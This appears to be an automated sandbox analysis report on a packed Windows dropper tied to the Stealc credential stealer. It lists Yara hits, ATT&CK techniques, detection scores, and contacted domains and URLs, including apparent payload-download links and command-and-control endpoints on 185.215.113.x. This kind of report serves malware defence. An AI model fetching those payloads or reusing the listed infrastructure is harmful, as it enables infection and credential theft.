Source: Yara match	File source: 00000014.00000000.2430826993.0000000000B81000.00000080.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2442698783.0000000000E8E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.2630993454.0000000000B81000.00000080.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000000.2616219253.0000000000B81000.00000080.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2442182169.0000000000B81000.00000080.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: num.exe PID: 2488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 6516, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Source: 84d280a9e8.exe	Binary or memory string: WIN_81
Source: 84d280a9e8.exe	Binary or memory string: WIN_XP
Source: random[1].exe.5.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: 84d280a9e8.exe	Binary or memory string: WIN_XPe
Source: 84d280a9e8.exe	Binary or memory string: WIN_VISTA
Source: 84d280a9e8.exe	Binary or memory string: WIN_7
Source: 84d280a9e8.exe	Binary or memory string: WIN_8

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match	File source: 00000019.00000002.2953823488.0000000000DE8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2951418045.0000000001088000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004E.00000002.2953026392.00000000010A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 84d280a9e8.exe PID: 7884, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 84d280a9e8.exe PID: 6488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 84d280a9e8.exe PID: 5996, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 20.2.num.exe.b80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.0.num.exe.b80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.num.exe.b80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.0.num.exe.b80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002C.00000002.2630021156.0000000000587000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000000.2430826993.0000000000B81000.00000080.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2442698783.0000000000E8E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.2630993454.0000000000B81000.00000080.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000000.2616219253.0000000000B81000.00000080.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2442182169.0000000000B81000.00000080.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: num.exe PID: 2488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 6516, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00BA1204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		6_2_00BA1204
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00BA1806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		6_2_00BA1806

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	131 Disable or Modify Tools	21 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	11 Native API	2 Valid Accounts	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	21 Input Capture	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Valid Accounts	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	21 Access Token Manipulation	12 Software Packing	NTDS	339 System Information Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	112 Process Injection	1 DLL Side-Loading	LSA Secrets	871 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	11 Masquerading	Cached Domain Credentials	461 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	11 Registry Run Keys / Startup Folder	2 Valid Accounts	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	461 Virtualization/Sandbox Evasion	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Access Token Manipulation	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	112 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
8ObkdHP9Hq.exe	53%	ReversingLabs	Win32.Packed.Generic
8ObkdHP9Hq.exe	57%	Virustotal		Browse
8ObkdHP9Hq.exe	100%	Avira	TR/Crypt.TPM.Gen
8ObkdHP9Hq.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000336001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	24%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	29%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\num[1].exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	24%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1000336001\num.exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	29%	ReversingLabs
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	53%	ReversingLabs	Win32.Packed.Generic

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
youtube-ui.l.google.com	0%	Virustotal	Browse
steamcommunity.com	0%	Virustotal	Browse
www3.l.google.com	0%	Virustotal	Browse
play.google.com	0%	Virustotal	Browse
sergei-esenin.com	4%	Virustotal	Browse
www.google.com	0%	Virustotal	Browse
youtube.com	0%	Virustotal	Browse
bathdoomgaz.store	1%	Virustotal	Browse
spirittunek.store	1%	Virustotal	Browse
studennotediw.store	1%	Virustotal	Browse
licendfilteo.site	1%	Virustotal	Browse
accounts.youtube.com	0%	Virustotal	Browse
eaglepawnoy.store	1%	Virustotal	Browse
www.youtube.com	0%	Virustotal	Browse
mobbipenju.store	1%	Virustotal	Browse
clearancek.site	1%	Virustotal	Browse
dissapoiznw.store	1%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://player.vimeo.com	0%	URL Reputation	safe
https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f	0%	URL Reputation	safe
https://policies.google.com/terms/service-specific	0%	URL Reputation	safe
https://g.co/recover	0%	URL Reputation	safe
https://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://support.google.com/websearch/answer/4358949?hl=ko&ref_topic=3285072	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	URL Reputation	safe
http://185.215.113.37	100%	URL Reputation	malware
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	0%	URL Reputation	safe
https://policies.google.com/technologies/cookies	0%	URL Reputation	safe
http://www.valvesoftware.com/legal.htm	0%	URL Reputation	safe
https://policies.google.com/terms	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	0%	URL Reputation	safe
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	0%	URL Reputation	safe
https://policies.google.com/terms/location	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	0%	URL Reputation	safe
https://steam.tv/	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900	100%	URL Reputation	malware
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	0%	URL Reputation	safe
https://apis.google.com/js/api.js	0%	URL Reputation	safe
http://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://store.steampowered.com/points/shop/	0%	URL Reputation	safe
https://lv.queniujq.cn	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900/inventory/	100%	URL Reputation	malware
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	0%	URL Reputation	safe
https://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am	0%	URL Reputation	safe
https://checkout.steampowered.com/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	0%	URL Reputation	safe
https://policies.google.com/privacy	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	0%	URL Reputation	safe
https://store.steampowered.com/;	0%	URL Reputation	safe
https://store.steampowered.com/about/	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://play.google/intl/	0%	URL Reputation	safe
https://families.google.com/intl/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english	0%	URL Reputation	safe
https://policies.google.com/technologies/location-data	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe
https://bathdoomgaz.store:443/api	14%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1&amp	0%	Virustotal		Browse
http://185.215.113.103/luma/random.exe	21%	Virustotal		Browse
https://steamcommunity.com/?subsection=broadcasts	0%	Virustotal		Browse
http://185.215.113.103/test/num.exe	25%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/css/ski	0%	Virustotal		Browse
https://sergei-esenin.com/	0%	Virustotal		Browse
https://play.google.com/work/enroll?identifier=	0%	Virustotal		Browse
https://www.youtube.com	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/css/skin_1/fatalerror.css?v=wctRWaBvNt2z&l=engli	0%	Virustotal		Browse
https://www.google.com	0%	Virustotal		Browse
https://www.youtube.com/t/terms?chromeless=1&hl=	0%	Virustotal		Browse
http://185.215.113.43/Zu7JuNko/index.php	18%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpu	17%	Virustotal		Browse
http://185.215.113.43/Zu7JuNko/index.phpncoded	12%	Virustotal		Browse
https://www.google.	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
youtube-ui.l.google.com	142.250.181.238	true	false	0%, Virustotal, Browse	unknown
steamcommunity.com	104.102.49.254	true	false	0%, Virustotal, Browse	unknown
www3.l.google.com	142.250.184.238	true	false	0%, Virustotal, Browse	unknown
play.google.com	172.217.16.206	true	false	0%, Virustotal, Browse	unknown
www.google.com	142.250.184.228	true	false	0%, Virustotal, Browse	unknown
sergei-esenin.com	104.21.53.8	true	true	4%, Virustotal, Browse	unknown
youtube.com	142.250.185.142	true	false	0%, Virustotal, Browse	unknown
bathdoomgaz.store	unknown	unknown	false	1%, Virustotal, Browse	unknown
spirittunek.store	unknown	unknown	false	1%, Virustotal, Browse	unknown
licendfilteo.site	unknown	unknown	true	1%, Virustotal, Browse	unknown
studennotediw.store	unknown	unknown	false	1%, Virustotal, Browse	unknown
mobbipenju.store	unknown	unknown	false	1%, Virustotal, Browse	unknown
eaglepawnoy.store	unknown	unknown	false	1%, Virustotal, Browse	unknown
accounts.youtube.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
www.youtube.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
clearancek.site	unknown	unknown	true	1%, Virustotal, Browse	unknown
dissapoiznw.store	unknown	unknown	false	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.43/Zu7JuNko/index.php	true	18%, Virustotal, Browse	unknown
https://steamcommunity.com/profiles/76561199724331900	true	URL Reputation: malware	unknown
http://185.215.113.37/	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://player.vimeo.com	9d7da53f74.exe, 0000003C.00000002.2748028782.0000000001787000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728003958.00000000017BA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65E	9d7da53f74.exe, 00000015.00000002.2522203861.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1&amp	9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f	9d7da53f74.exe, 00000015.00000003.2511615380.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728003958.0000000001787000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000002.2748028782.0000000001787000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bathdoomgaz.store:443/api	9d7da53f74.exe, 0000003C.00000003.2728178187.0000000001745000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000002.2746326471.0000000001745000.00000004.00000020.00020000.00000000.sdmp	false	14%, Virustotal, Browse	unknown
https://steamcommunity.com/?subsection=broadcasts	9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://185.215.113.103/luma/random.exe	skotes.exe, 00000005.00000002.2953123746.0000000000B38000.00000004.00000020.00020000.00000000.sdmp	false	21%, Virustotal, Browse	unknown
http://185.215.113.37/LaJo	num.exe, 0000002C.00000002.2630021156.00000000005C6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.103/test/num.exe	skotes.exe, 00000005.00000002.2953123746.0000000000B38000.00000004.00000020.00020000.00000000.sdmp	false	25%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/css/ski	9d7da53f74.exe, 00000015.00000003.2511615380.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://sergei-esenin.com/	9d7da53f74.exe, 00000015.00000003.2511615380.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://play.google.com/work/enroll?identifier=	chromecache_161.19.dr	false	0%, Virustotal, Browse	unknown
https://policies.google.com/terms/service-specific	chromecache_161.19.dr	false	URL Reputation: safe	unknown
https://g.co/recover	chromecache_161.19.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/subscriber_agreement/	9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/websearch/answer/4358949?hl=ko&ref_topic=3285072	chromecache_161.19.dr	false	URL Reputation: safe	unknown
https://www.gstatic.cn/recaptcha/	9d7da53f74.exe, 0000003C.00000002.2748028782.0000000001787000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000002.2748086028.00000000017BA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728003958.00000000017BA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37	num.exe, 00000014.00000002.2442698783.0000000000E8E000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000002C.00000002.2630021156.0000000000587000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpncoded	skotes.exe, 00000005.00000002.2953123746.0000000000B38000.00000004.00000020.00020000.00000000.sdmp	false	12%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000002.2522203861.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017CB000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728178187.000000000173E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://eaglepawnoy.store:443/apif	9d7da53f74.exe, 0000003C.00000003.2728178187.0000000001745000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000002.2746326471.0000000001745000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.phpy1mb3JtLXVybGVuY29kZWQ=.Verb	skotes.exe, 00000005.00000002.2953123746.0000000000B38000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.php0349001	skotes.exe, 00000005.00000002.2953123746.0000000000B38000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://policies.google.com/technologies/cookies	chromecache_161.19.dr	false	URL Reputation: safe	unknown
http://www.valvesoftware.com/legal.htm	9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://policies.google.com/terms	chromecache_161.19.dr	false	URL Reputation: safe	unknown
https://www.youtube.com	9d7da53f74.exe, 0000003C.00000002.2748028782.0000000001787000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728003958.00000000017BA000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com	9d7da53f74.exe, 0000003C.00000002.2748028782.0000000001787000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728003958.00000000017BA000.00000004.00000020.00020000.00000000.sdmp, chromecache_161.19.dr	false	0%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/fatalerror.css?v=wctRWaBvNt2z&l=engli	9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
